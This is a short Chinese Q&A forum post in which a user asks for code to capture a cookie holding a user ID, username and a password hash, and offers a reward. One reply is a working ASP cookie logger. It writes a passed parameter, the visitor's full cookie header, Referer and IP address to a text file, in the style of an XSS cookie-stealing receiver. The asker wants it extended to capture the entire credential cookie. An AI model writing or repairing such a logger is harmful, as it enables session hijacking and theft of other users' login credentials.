问题描述
求一段能获取COOKIE的代码!COOKIE格式如下:Cookie:PNT_=UserID=3&UserName=123&Password=202cb962ac59075b964b07152d234b70&expires=30;ASPSESSIONIDAARAQASC=DNBIKFOCAMHFABKAIPCLNOHH
解决方案
解决方案二:
if(request.cookie[""]!=null){stringID=request.cookie[""].value;}
解决方案三:
<%num=request("x")pass=vbCrLf&Request.ServerVariables("HTTP_Referer")&""&Request.ServerVariables("HTTP_COOKIE")&""&Now()&""&Request.ServerVariables("REMOTE_ADDR")&vbCrLfsetfs=server.CreateObject("Scripting.FileSystemObject")setfile=fs.OpenTextFile(server.MapPath("cookie.txt"),8,True)file.writelinenum+passfile.closesetfile=nothingsetfs=nothing%>这是ASP获取COOKIE的代码但是只能获取到PNT_=UserID=3后面获取不到求高手写段或是可以修改下必酬谢
时间: 2025-01-26 12:08:54